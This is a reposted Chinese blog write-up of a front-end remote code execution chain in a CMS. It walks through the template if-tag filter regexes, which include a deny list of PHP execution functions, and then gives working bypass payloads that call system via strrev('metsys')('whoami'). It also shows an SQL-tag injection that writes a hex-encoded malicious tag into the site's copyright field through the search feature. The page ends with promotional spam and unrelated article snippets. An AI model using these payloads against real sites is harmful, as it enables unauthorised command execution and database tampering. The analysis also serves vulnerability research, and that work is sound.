「又是干货」史诗级漏洞挖掘的过程快get一下

news2024/11/18 12:17:19

在这里插入图片描述

前言

本文记录了针对前台RCE的挖掘过程,由于该CMS前几天才做了修复,所以将挖掘过程写出来

接着直接来看代码,首先目标仍然是解析if标签的代码块,看一下三个正则

/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/

/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i

/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i

没有耐心看完的看这里:

我是一名网络安全工作者,喜欢安全,热爱安全,另外我整理了一些渗透测试、学习视频300PDF等供大家学习(文中只是一部分),感兴趣的可以保存下来阅读

需要300PDF的网络安全资料请关注我:私信回复“资料”获取更多网络安全面试资料、源码、笔记、视频架构技术

相对于上一个版本来说,第三条正则多了(([\w\s.]+))如图

在这里插入图片描述

这里猜想开发者是想禁止if标签中条件代码段中的小括号存在内容,但是经过测试xxx(“xxx”)这样的形式可以无视正则并不影响我们的代码执行,现在假如我们可以直接编辑模版,以执行system函数为目标,来研究一下如何执行代码;

为了绕过system的正则校验,可以使用如下方式绕过

strrev('metsys')('whoami');

那么很容易想到使用如下payload测试

{pboot:if(1) strrev('metsys')('whoami');//)}y7m01i{/pboot:if}

测试之后会发现并不能执行,因为无法绕过第二条正则,我们可以通过简单的输出来打印下程序在进行安全校验的情况
在这里插入图片描述
在这里插入图片描述

可以看到在这里较验到了strrev是一个已定义的函数,所以语句被拦截,接着我们来尝试在strrev前面加上一些字符查看一下情况

{pboot:if(1) xxx strrev('metsys')('whoami');//)}y7m01i{/pboot:if}

在这里插入图片描述

可以看到出现了eval执行错误的信息,这说明我们成功绕过了校验,eval执行了我们输入的内容,只不过当前内容执行时报出了错误,那么接下来的目标就很明确了,我们需要寻找一个可以代替xxx的内容,使eval执行不会报错;经过搜索我发现了这样一条内容
在这里插入图片描述

简单来测试一下
在这里插入图片描述

果然符合我们的要求,尝试如下payload

{pboot:if(1) echo strrev('metsys')('whoami');//)}y7m01i{/pboot:if}

在这里插入图片描述

成功执行了system函数,后来经过思考和测试,其实使用注释也是可以的,如下

{pboot:if(1) /*y*/ strrev('metsys')('whoami');//)}y7m01i{/pboot:if}

但是光是这样执行命令是不够的,我们需要寻找到一处用户可控的点来解析if标签,在上面的参考文章中我们易得在前台搜索功能处可以解析我们输入的if标签,并且对于pboot@if的替换可以使用
在这里插入图片描述

{pboot{user:password}:if

在这里插入图片描述

这样的形式绕过,但是在该版本中移除了decode_string函数,在标签解析时单双引号是编码过的,无法正常解析,然而从前面的分析知道我们目前的利用方式需要使用但双引号来绕过第二个正则的校验,所以目前为止在前台搜索处我们暂时是无法利用的,所以我们需要寻找一下是否存在其他的利用方式,与我们目前所掌握的条件配合来进行利用。

在翻看cms更新日志的时候我发现了这样一条描述
在这里插入图片描述

程序新增加了解析sql的标签,这就意味着我们可能在前台利用搜索功能,执行我们想要的sql语句,这时一条利用链初步浮现在我的脑海里;我们知道在以前的版本中可以使用在后台配置处插入我们的标签语句,最终语句是存储在数据库中的,假如我们可以利用前台搜索功能执行sql语句,将标签插入到数据库中,就可以跨过后台配置功能直接RCE,那么目前我们面临着两个问题需要弄清楚;

1.标签该写在哪张表的那个字段

2.前台搜索功能处如何能执行我们的sql语句

首先第一个问题很好解决,在之前的版本中我们是在站点信息的尾部信息处来写入标签,对应的是ay_site表中的copyright字段,那么我们写入标签的语句初步为

update ay_site set copyright= (标签的16进制,避免引号) where id = 1;

接着我们查看一下解析sql标签的代码

 // 解析自定义SQL循环
    public function parserSqlListLabel($content)
    {
        $pattern = '/\{pboot:sql(\s+[^}]+)?\}([\s\S]*?)\{\/pboot:sql\}/';
        $pattern2 = '/\[sql:([\w]+)(\s+[^]]+)?\]/';

        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);

            for ($i = 0; $i < $count; $i ++) {
                // 获取调节参数

                $params = $this->parserParam($matches[1][$i]);
                if (! self::checkLabelLevel($params)) {

                    $content = str_replace($matches[0][$i], '', $content);
                    continue;
                }

                $num = 1000; // 最大读取1000条
                $sql = '';
                foreach ($params as $key => $value) {
                    switch ($key) {
                        case 'num':
                            $num = $value;
                            break;
                        case 'sql':
                            $sql = $value;
                            break;
                    }
                }

                // 特殊表不允许输出
                if (preg_match('/ay_user|ay_member/i', $sql)) {
                    $content = str_replace($matches[0][$i], '', $content);
                    continue;
                }

                // 判断是否有条数限制
                if ($num && ! preg_match('/limit/i', $sql)) {
                    $sql .= " limit " . $num;
                }

                // 读取数据

                if (! $data = $this->model->all($sql)) {
                    $content = str_replace($matches[0][$i], '', $content);
                    continue;
                }

                // 匹配到内部标签
                if (preg_match_all($pattern2, $matches[2][$i], $matches2)) {
                    $count2 = count($matches2[0]); // 循环内的内容标签数量
                } else {
                    $count2 = 0;
                }

                $out_html = '';

                $pagenum = defined('PAGE') ? PAGE : 1;
                $key = ($pagenum - 1) * $num + 1;
                foreach ($data as $value) { // 按查询数据条数循环
                    $one_html = $matches[2][$i];
                    for ($j = 0; $j < $count2; $j ++) { // 循环替换数据
                        $params = $this->parserParam($matches2[2][$j]);
                        switch ($matches2[1][$j]) {
                            case 'n':
                                $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html);
                                break;
                            case 'i':
                                $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key), $one_html);
                                break;
                            default:
                                if (isset($value->{$matches2[1][$j]})) {
                                    $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $one_html);
                                }
                        }
                    }
                    $key ++;
                    $out_html .= $one_html;
                }
                $content = str_replace($matches[0][$i], $out_html, $content);
            }
        }
        return $content;
    }

其中有一处安全过滤

在这里插入图片描述

sql语句不允许对ay_user与ay_member两个表进行操作,但是不影响我们写标签到数据库;接着看该段代码,其中的重点在this−>parserParam(this->parserParam(this−>parserParam(matches[1][$i]);,

跟进该方法
在这里插入图片描述

我们打印一下解析后的内容,使用如下标签来测试

{pboot:sql sql=update ay_site set copyright= 0x68656c6c6f where id = 1;#}11{/pboot:sql}

在这里插入图片描述

语句没有被正确的解析出来,仔细查看源码应该是被分割语句的正则匹配到了,尝试将空格替换成注释

{pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6f/**/where/**/id/**/=/**/1;#}11{/pboot:s

在这里插入图片描述

成功解析到我们想要的语句,去前台执行一下
在这里插入图片描述

数据库中内容成功进行了更新,把hello换成我们的标签语句

{pboot:sql sql=update//ay_site//set//copyright=//0x67b70626f6f747b757365723a70617373776f72647d3a6966283129656368

在这里插入图片描述

接着访问首页
在这里插入图片描述

总结

造成该漏洞的主要原因还是因为程序增加了新的功能点,并且功能点没有进行完整的安全防御,导致可以在前台直接执行sql语句,进而将可执行的标签写入数据库,在前台解析执行命令;这也提醒我们在平时挖掘漏洞的时候可以多注意一些新添加的功能,同时充分了解过往存在的漏洞,打出组合拳往往有出其不意的效果

我是一名网络安全工作者,喜欢安全,热爱安全,另外我整理了一些渗透测试、学习视频300PDF等供大家学习(以上只是一部分),感兴趣的可以保存下来阅读
👉[CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]安全链接,放心点击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/692073.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

零基础也能轻松制作电子邀请函教程

随着互联网技术的发展&#xff0c;电子邀请函已经逐渐取代传统的纸质邀请函成为一种趋势。不仅可以节省纸张和邮寄的成本&#xff0c;还能够更加个性化和创意化地展现活动。自己制作电子邀请函&#xff0c;百利而无一害&#xff0c;如果你也想自己动手制作一份电子邀请函&#…

VTK 悬浮显示 actor详细

需求&#xff1a;场景中一个actor&#xff0c;鼠标悬浮时 显示此actor的信息。 效果&#xff1a; 实现&#xff1a; 1&#xff0c;利用vtkInteractorStyleTrackballCamera 的OnMouseMove 事件 判断是否处于悬浮状态 2&#xff0c;判断悬浮后&#xff0c;首先将世界坐标转为…

10分钟教你学会使用ab 进行并发压力测试

目录 ab全称为&#xff1a;apache bench。 安装ab命令&#xff1a; 使用&#xff1a; 测试结果&#xff1a; 结果分析&#xff1a; 总结&#xff1a; ab全称为&#xff1a;apache bench。 是apache自带的压力测试工具。ab非常实用&#xff0c;它不仅可以对apache服务器进…

离子风枪的功能特点及应用领域

除静电离子风枪是一种常见的设备&#xff0c;被广泛应用于各个领域的生产线上&#xff0c;其作用是通过产生离子气流&#xff0c;有效地去除物体表面的静电。在现代工业生产中&#xff0c;静电可能引发诸多问题&#xff0c;如引起电子元器件损坏、拖尘吸附、产品互粘等。除静电…

如何使用Wu10Man启用或禁用自动更新

使用Wu10Man启用或禁用自动更新 启用自动更新禁用自动更新Windows 10 将在你设置为自动维护时自动检查新的 Windows 更新。默认情况下,Windows 10 将自动下载并安装重要和关键更新。 某些更新不是自动安装的。这包括可选更新和要求你接受新使用条款的更新。当这些更新可用时,…

哈工大操作系统实验三(整理自用)

一、实验内容 基于模板 process.c 编写多进程的样本程序&#xff0c;实现如下功能&#xff1a; 所有子进程都并行运行&#xff0c;每个子进程的实际运行时间一般不超过 30 秒&#xff1b; 父进程向标准输出打印所有子进程的 id&#xff0c;并在所有子进程都退出后才退出&…

SpringBoot项目做成Docker 镜像

1.使用Xshell5使用 put指令上传到Centos put D:\git\repository_idea\emsms\target\emsms-0.0.1-SNAPSHOT.jar 2.编辑文件 vim spring ROM java:8 ADD emsms-0.0.1-SNAPSHOT.jar dd.jar CMD java -jar dd.jar 示例&#xff1a; 3.退出并保存编辑 4.将文件打包成镜像 dock…

Flink中FileSink的使用

在Flink中提供了StreamingFileSink用以将数据流输出到文件系统. 这里结合代码介绍如何使用FileSink. 首先FileSink有两种模式forRowFormat和forBulkFormat public static <IN> DefaultRowFormatBuilder<IN> forRowFormat(final Path basePath, final Encoder<IN…

Labview视觉一键尺寸测量仪,多产品,多尺寸,快速编辑, 测量,导出结果

这是一个关于LabVIEW视觉一键尺寸测量仪的描述&#xff0c;它具有以下特点&#xff1a;支持多种产品和尺寸的测量&#xff0c;可以快速进行编辑、测量和导出结果。 这个领域涉及到的知识点和领域范围包括&#xff1a;LabVIEW、视觉测量、尺寸测量、编辑功能和结果导出。 LabV…

HCIP-7.4交换机STP生成树协议原理

HCIP-7.4交换机STP生成树协议原理 1、什么是交换机生成树&#xff1f;2、STP生成树2.1、标准生成树基本计算过程(802.1D)2.2、STP的基本概念2.3、 BPDU格式及字段说明2.4、 STP的选举原则2.4.1 配置案例说明2.4.2 华为设备的COST值 2.5、端口状态描述2.6、cost值修改2.6.1、非根…

【UCOS-III】自我学习笔记→第20讲→时间管理

文章目录 前言实验步骤1.复制任务创建和删除工程文件并删除task3任务&#xff0c;修改任务1和任务2的优先级为22.修改任务1和任务2的内容3.查看示波器现象 测试代码工程文件总结 前言 无&#xff0c;仅作记录&#xff0c;不具有参考价值&#xff0c;所用开发板为STM32F411RET6…

计算机视觉:分割一切AI大模型segment-anything

1 segment-anything介绍 Segment Anything Model (SAM)来源于Facebook公司Meta AI实验室。据Mata实验室介绍&#xff0c;SAM 已经学会了关于物体的一般概念&#xff0c;并且它可以为任何图像或视频中的任何物体生成 mask&#xff0c;甚至包括在训练过程中没有遇到过的物体和图…

刷题日记《链表01》

题目概述&#xff08;力扣&#xff09; 给定循环单调非递减列表中的一个点&#xff0c;写一个函数向这个列表中插入一个新元素 insertVal &#xff0c;使这个列表仍然是循环升序的。 给定的可以是这个列表中任意一个顶点的指针&#xff0c;并不一定是这个列表中最小元素的指针。…

SpringCloud-13_Alibaba OSS

对象存储 OSS 就是所谓的“图床”吗&#xff1f;&#xff08;致敬yupi /捂脸&#xff09; 一图说明&#xff1a; 阿里云对象存储oos 阿里云对象存储 OSS&#xff08;Object Storage Service&#xff09;是一款海量、安全、低成本、高可靠的云存储服务&#xff0c;提供最高可达 …

汉王人脸考勤管理系统 万能密码登录 漏洞复现

fofa&#xff1a;title“汉王人脸考勤管理系统” 漏洞复现 登录页面&#xff1a; 使用万能密码登录 用户名&#xff1a;or’ or 11– 密码&#xff1a;or

Minio的使用

今天学习的时候用到了阿里云的OSS&#xff0c;由于在公司项目上用到了Minio作为云端文件服务器&#xff0c;因此学习了以下Minio&#xff0c;打算替换掉阿里云的OSS 1.Minio的安装 在这里提供了Docker-compose的模式作为Minio的下载(其中9002作为API请求接口端&#xff0c;90…

Matlab【旅行商问题】—— 基于模拟退火算法的无人机药品配送路线最优化

文章目录 问题描述模拟退火算法Metropolis准则算法流程图&#xff1a; Demo1&#xff1a;只考虑累计距离&#xff0c;通过模拟退火算法求解最短路径matlab代码&#xff1a;最优解之一&#xff1a;适应度进行曲线&#xff1a; Demo1&#xff1a;考虑每个站点的病人数量&#xff…

Visual modflow Flex地下水数值模拟及参数优化、抽水实验设计与处理、复杂的饱和/非饱和地下水流分析

专题一 地下水数值软件的操作流程、建模步骤和所需资料处理及相关注意事项 [1] Visual MODFLOW Flex特征 [2] Visual MODFLOW Flex软件界面及模块 [3] 地下水数值模拟的建模步骤及数据需求 专题二 模型建模操作方法 技巧、真实案例演练、特殊问题处理 [1] 直接模型建模的操…

深入浅出设计模式 - 装饰者模式

博主介绍&#xff1a; ✌博主从事应用安全和大数据领域&#xff0c;有8年研发经验&#xff0c;5年面试官经验&#xff0c;Java技术专家✌ Java知识图谱点击链接&#xff1a;体系化学习Java&#xff08;Java面试专题&#xff09; &#x1f495;&#x1f495; 感兴趣的同学可以收…

Python桌面应用开发之PyQt

文章目录 引言&#xff1a;桌面应用开发三大框架介绍一、PyQT介绍二、安装三、使用教程(1)基础窗口(2)分区布局窗口(类似于html中div的使用)(3)栅格布局窗口(类似于html中的table)(4)表单布局窗口(类似于html中的form)(5)事件函数与事件过滤器(6)信号和槽四、实战示例(1)状态栏…